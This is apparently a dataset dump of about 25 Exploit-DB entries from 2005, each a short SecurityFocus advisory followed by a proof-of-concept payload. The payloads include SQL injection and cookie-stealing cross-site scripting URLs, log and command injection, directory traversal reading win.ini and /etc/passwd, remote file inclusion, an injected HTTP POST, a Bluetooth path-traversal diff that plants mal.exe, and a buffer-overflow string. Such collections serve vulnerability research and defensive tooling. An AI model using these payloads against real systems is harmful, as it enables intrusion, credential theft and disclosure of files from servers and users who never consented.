QLWD/code_shield huggingface dataset:
标题: AN HTTPD 1.42 - Arbitrary Log Content Injection EDB-ID: 25365 CVE: 2005-1087 类型: REMOTE 平台: WINDOWS 发布日期: 2005-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/13069/info

AN HTTPD is affected by a vulnerability that may allow remote attacker to inject arbitrary content in to the log file. This issue arises due to a failure of input validation.

Corruption of logs may result in concealing attacks and/or misleading an administrator.

This issue can also be exploited to carry out other attacks such as the execution of certain BAT file commands. This can result in the disclosure of source code and text files.

This issue may also aid in the exploitation of the vulnerability described in BID 13066 (AN HTTPD CMDIS.DLL Remote Buffer Overflow Vulnerability).

AN HTTPD 1.42n is reported vulnerable, however, it is possible that other versions are affected as well. 

http://www.example.com/a%20HTTP/1.0"%20200%202048%0d%0a255.255.255.255%20-%20-%20[06/Mar/2005%3a22%3a31%3a11%20+0800]%20"GET%20/hack

http://www.example.com/%0d%0atype%20cgi-bin%5Ctest.bat

To parse a command through 'cmdIS.DLL':
http://www.example.com/scripts/cmdIS.dll/httpd.log URL: https://www.exploit-db.com/exploits/25365
标题: CubeCart 2.0.x - 'index.php' Multiple Full Path Disclosures EDB-ID: 25355 CVE: 2005-1033 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13050/info

CubeCart is reported prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

These issues affect the 'index.php', 'tellafriend.php', 'view_cart.php', and 'view_product.php' script.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This is not confirmed. 

http://www.example.com/index.php?&PHPSESSID=' URL: https://www.exploit-db.com/exploits/25355
标题: phpBB 2.0.13 Linkz Pro Module - SQL Injection EDB-ID: 25345 CVE: 2005-1026 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13030/info

The Linkz Pro mod for phpBB is reportedly affected by a SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/[phpBB]/links.php?func=show&id='[SQL Injection] URL: https://www.exploit-db.com/exploits/25345
标题: PHP-Nuke 7.6 - 'banners.php' Cross-Site Scripting EDB-ID: 25343 CVE: 2005-1000 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13026/info

PHP-Nuke is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[php-nuke]/banners.php?op=EmailStats&name=sex&bid=[XSS] URL: https://www.exploit-db.com/exploits/25343
标题: Active Auction House - 'default.asp' Multiple SQL Injections EDB-ID: 25346 CVE: 2005-1029 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13032/info

Active Auction House is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/activeauctionsuperstore/default.asp?Sortby=ItemName&SortDir='SQL_INJECTION
http://www.example.com/activeauctionsuperstore/default.asp?Sortby='SQL_INJECTION URL: https://www.exploit-db.com/exploits/25346
标题: phpBB 2.0.13 DLMan Pro Module - SQL Injection EDB-ID: 25344 CVE: 2005-1026 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13028/info

The DLMan Pro mod for phpBB is reportedly affected by an SQL Injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/[phpBB]/dlman.php?func=file_info&file_id='[SQL Injection] URL: https://www.exploit-db.com/exploits/25344
标题: Active Auction House - 'ItemInfo.asp' SQL Injection EDB-ID: 25347 CVE: 2005-1029 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13034/info

Active Auction House is reportedly affected by a SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in a SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/activeauctionsuperstore/ItemInfo.asp?itemID='SQL_INJECTION URL: https://www.exploit-db.com/exploits/25347
标题: PHP-Nuke 6.x/7.x Your_Account Module - Avatarcategory Cross-Site Scripting EDB-ID: 25340 CVE: 2005-1000 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/13010/info

It is reported that the PHP-Nuke 'Your_Account' module is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This problem presents itself when malicious HTML and script code is sent to the application through the 'Avatarcategory' parameter of the 'Your_Account' module.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials.

This vulnerability is reported to affect PHP-Nuke version 7.6 and previous versions. 

http://www.example.com/[nuke_dir]/modules.php?name=Your_Account&op=avatarlist&avatarcategory=[XSS] URL: https://www.exploit-db.com/exploits/25340
标题: ProfitCode Software PayProCart 3.0 - 'Usrdetails.php' Cross-Site Scripting EDB-ID: 25337 CVE: 2005-1004 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/13002/info

PayProCart is prone to a cross-site scripting vulnerability affecting the 'usrdetails.php' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

PayProCart version 3.0 is affected by this issue. Other versions may be affected as well. 

http://www.example.com/usrdetails.php?sgnuptype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25337
标题: profitcode software payprocart 3.0 - Directory Traversal EDB-ID: 25338 CVE: 2005-1005 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/13006/info

ProfitCode Software PayProCart may allow a remote attacker to carry out directory traversal attacks.

It is reported that this issue can be exploited by issuing a specially crafted HTTP GET request and supplying directory traversal sequences followed by a target file name through an affected parameter.

Reportedly, the attacker can gain access to file owned by the administrator and gain administrative access to the application by accessing the administrative panel. The attacker is able to gain access to the administrative panel without providing authentication credentials.

PayProCart versions 3.0 is affected by this issue. Other versions may be affected as well. 

http://www.example.com/adminshop/index.php?proMod=index&amp%3bftoedit=..%2fshopincs%2fmaintopENG URL: https://www.exploit-db.com/exploits/25338
标题: PHP-Nuke 6.x/7.x Your_Account Module - 'Username' Cross-Site Scripting EDB-ID: 25339 CVE: 2005-1000 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/13007/info

It is reported that the PHP-Nuke 'Your_Account' module is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This problem presents itself when malicious HTML and script code is sent to the application through the 'username' parameter of the 'Your_Account' module.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials.

This vulnerability is reported to affect PHP-Nuke version 7.6 and previous versions. 

http://www.example.com/[nuke_dir]/modules.php?name=Your_Account&op=mailpasswd&username=[XSS]

The following proof of concept example supplied by Maksymilian Arciemowicz:
http://www.example.com/[nuke_dir]/modules.php?name=Your_Account&op=userinfo&bypass=1&username=[XSS] URL: https://www.exploit-db.com/exploits/25339
标题: Logics Software LOG-FT - Arbitrary File Disclosure EDB-ID: 25336 CVE: 2005-1002 类型: REMOTE 平台: WINDOWS 发布日期: 2005-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/12998/info

LOG-FT is reported prone to an arbitrary file disclosure vulnerability. This issue results from an access validation error and can allow a remote attacker to disclose sensitive data.

It is reported that an attacker can simply issue a specially crafted HTTP GET request to disclose sensitive files in the context of the affected Web server.

Information disclosed through this attack may expose sensitive data that may be used to carry out further attacks against a computer. It is not confirmed whether this issue may also allow an attacker to upload arbitrary files. 

http://www.example.com/logwebcgi/logwebftbs2000.exe?VAR_FT_LANG=c:\&VAR_FT_TMPL=winnt/win.ini

http://www.example.com/logwebcgi/logwebftbs2000.exe?VAR_FT_LANG=/etc&VAR_FT_TMPL=passwd URL: https://www.exploit-db.com/exploits/25336
标题: Active Auction House - 'start.asp?ReturnURL' Cross-Site Scripting EDB-ID: 25348 CVE: 2005-1030 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13036/info

Active Auction House is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/activeauctionsuperstore/?ReturnURL=start.asp&username=dcrab&password='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/activeauctionsuperstore/?ReturnURL=start.asp&username='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&&password= URL: https://www.exploit-db.com/exploits/25348
标题: Active Auction House - 'account.asp?ReturnURL' Cross-Site Scripting EDB-ID: 25349 CVE: 2005-1030 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13036/info
 
Active Auction House is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/activeauctionsuperstore/account.asp?ReturnURL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25349
标题: PHP-Nuke 7.6 Web_Links Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25342 CVE: 2005-1000 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13025/info

PHP-Nuke is reportedly affected by multiple cross-site scripting vulnerabilities in the Web_Links Module. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=TopRated&ratenum=[XSS]&ratetype=num
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=%3Ch1%3E50&ratetype=num
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlinkdetails&ttitle=[XSS]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlinkeditorial&ttitle=[XSS]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlinkcomments&ttitle=[XSS]
http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=ratelink&ttitle=[XSS] URL: https://www.exploit-db.com/exploits/25342
标题: PHP-Nuke 6.x/7.x 'Downloads' Module - 'Lid' Cross-Site Scripting EDB-ID: 25341 CVE: 2005-1027 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/13011/info

It is reported that the PHP-Nuke 'Downloads' module is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This problem presents itself when malicious HTML and script code is sent to the application through the 'Downloads' module.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials.

This vulnerability is reported to affect PHP-Nuke version 7.6 and previous versions. 

http://www.example.com/[nuke_dir]/modules.php?name=Downloads&d_op=outsidedownloadsetup&lid=[XSS]

To test XSS for example in http://www.example.com/[nuke_dir]/modules.php?name=Downloads&d_op=outsidedownloadsetup&lid=[XSS] we can
create a form.

test.html :
-----------
<form name="mantra" method="POST" action="http://www.example.com/[nuke_dir]/modules.php">
<p>XSS:
<input type="text" name="lid">
<br>
<input type="hidden" name="name" value="Downloads">
<br>
<input type="hidden" name="d_op" value="outsidedownloadsetup">
</p>
<p>
<input type="submit" name="Submit" value="Go!">
<br>
</p> URL: https://www.exploit-db.com/exploits/25341
标题: Mozilla Suite/Firefox - JavaScript Lambda Replace Heap Memory Disclosure EDB-ID: 25334 CVE: 2005-0989 类型: DOS 平台: LINUX 发布日期: 2005-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/12988/info

Mozilla Suite/Firefox are reported prone to a memory-disclosure vulnerability. This issue can allow a remote attacker to access arbitrary heap memory.

Due to an error in the way 'replace()' handles lambda expressions, a remote attacker can access arbitrary heap memory from a vulnerable client.

Information harvested in this manner could then aid in further attacks launched against the vulnerable computer (such as memory-corruption exploits).

Firefox versions 1.0.1 and 1.0.2 are reported vulnerable. Mozilla 1.7.6 is vulnerable as well. Other versions may also be affected.

K-Meleon 0.9 is vulnerable to this issue. Older versions may be affected as well.

Camino 0.8.3 is affected by this issue. Other versions of Camino may be affected as well.

var rx=/val/i;
x = x.replace(rx,function($1){
$1.match(rx);
return "";
}); URL: https://www.exploit-db.com/exploits/25334
标题: SiteEnable - SQL Injection EDB-ID: 25332 CVE: 2005-1011 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/12985/info

SiteEnable is reported prone to an SQL injection vulnerability.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

All versions of SiteEnable are considered vulnerable at the moment.

http://www.example.com/content.asp?do_search=0&keywords=contact&page_no=2&sortby=;SELECT%20* FROM bla bla-- URL: https://www.exploit-db.com/exploits/25332
标题: phpMyAdmin 2.x - Convcharset Cross-Site Scripting EDB-ID: 25330 CVE: 2005-0992 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/12982/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input to the 'convcharset' parameter.

phpMyAdmin versions prior to 2.6.2-rc1 are affected by this issue. 

http://www.example.com/phpmyadmin/index.php?pma_username=&pma_password=&server=1&lang=en-iso-8859-1&convcharset=\"><script>alert(document.cookie)</script>

http://www.example.com/phpmyadmin/index.php?pma_username=&pma_password=&server=1&lang=en-iso-8859-1&convcharset=\"><h1>XSS</h1> URL: https://www.exploit-db.com/exploits/25330
标题: Alstrasoft EPay Pro 2.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25328 CVE: 2005-0981 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/12974/info

It is reported that EPay Pro is affected by various cross-site scripting vulnerabilities.

These problems present themselves when malicious HTML and script code is sent to the application through multiple parameters.

This issue may allow for theft of cookie-based authentication credentials or other attacks.

EPay Pro version 2.0 is vulnerable to these issues. 

http://www.example.com/epal/?order_num=crap&payment=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&send=first&send=regular&send=priority&send=express
Pops cookie

http://www.example.com/epal/?order_num=crap&payment=crap&send=first&send=regular&send=priority&send='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie URL: https://www.exploit-db.com/exploits/25328
标题: SonicWALL SOHO 5.1.7 - Web Interface Multiple Remote Input Validation Vulnerabilities EDB-ID: 25331 CVE: 2005-1006 类型: WEBAPPS 平台: CGI 发布日期: 2005-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/12984/info

Multiple remote input validation vulnerabilities affect SonicWALL SOHO. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

Specifically a cross-site scripting issue and an HTML injection issue affect the vulnerable device.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks, potentially leading to a compromise of the affected device.

SonicWALL Pro 230 firmware 6.5.0.3 is reported vulnerable to these issues as well. 

http://www.example.com/<script>alert("Its not magic... its a sonic")</script>

To leverage the HTML injection issue enter the following into the 'username' field of the login form:

</TD><script>alert("!")</script>

It is also possible to leverage the HTML injection issue by submitting the following POST request:

POST http://192.168.168.168:80/auth.cgi HTTP/1.0
Accept: */*
Referer: http://192.168.168.168/auth.html
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: BadGuy
Host: 192.168.168.168
Content-Length: 160
Pragma: no-cache uName=</TD><script>alert("Its_not_magic..._its_a_sonic")</script>&pass=NiceTry&Submit=Login&clientHash=bbe63bb858b02e741d2d12023ee350a1 URL: https://www.exploit-db.com/exploits/25331
标题: BlueSoleil 1.4 - Object Push Service BlueTooth Arbitrary File Upload / Directory Traversal EDB-ID: 25325 CVE: 2005-0978 类型: REMOTE 平台: WINDOWS 发布日期: 2005-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/12961/info

BlueSoleil is prone to directory traversal attacks during Bluetooth file uploads. The issue exists in the Object Push Service.

This vulnerability may allow an attacker to upload malicious files to arbitrary locations on affected computers over Bluetooth. An attacker can take advantage of the issue to execute arbitrary code by uploading executables to a location on the computer where they will later be executed. 

@@ -316,7 +316,7 @@
}

filename = argv[1];
- alias = basename(filename);
+ alias = "../../../../../../../../mal.exe";
str2ba(argv[2], &bdaddr);
channel = (argc > 3) ? atoi(argv[3]) : 10;

The modified obextool client may then be used to push a malicious file to a target computer. URL: https://www.exploit-db.com/exploits/25325
标题: Alstrasoft EPay Pro 2.0 - Remote File Inclusion EDB-ID: 25327 CVE: 2005-0980 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/12973/info

EPay Pro is reported prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'view' parameter.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer.

EPay Pro version 2.0 is vulnerable to this issue. 

http://www.example.com/epal/index.php?view=http://www.example.com/ URL: https://www.exploit-db.com/exploits/25327
标题: Star Wars Jedi Knight: Jedi Academy 1.0.11 - Buffer Overflow (PoC) EDB-ID: 25329 CVE: 2005-0984 类型: DOS 平台: WINDOWS 发布日期: 2005-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/12977/info

A buffer overflow is present in Jedi Academy that can be exploited remotely by client systems. The overflow is due to the use of the sprintf() function in a text visualization procedure, G_Printf(). The attacker can exploit this vulnerability to execute arbitrary code on the server. 

// Jedi Academy <= 1.011 in-game server buffer-overflow 0.1
// by Luigi Auriemma
// e-mail: aluigi@autistici.org
// web:    http://aluigi.altervista.org
// Ref:    http://aluigi.altervista.org/adv/jamsgbof-adv.txt

say aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa URL: https://www.exploit-db.com/exploits/25329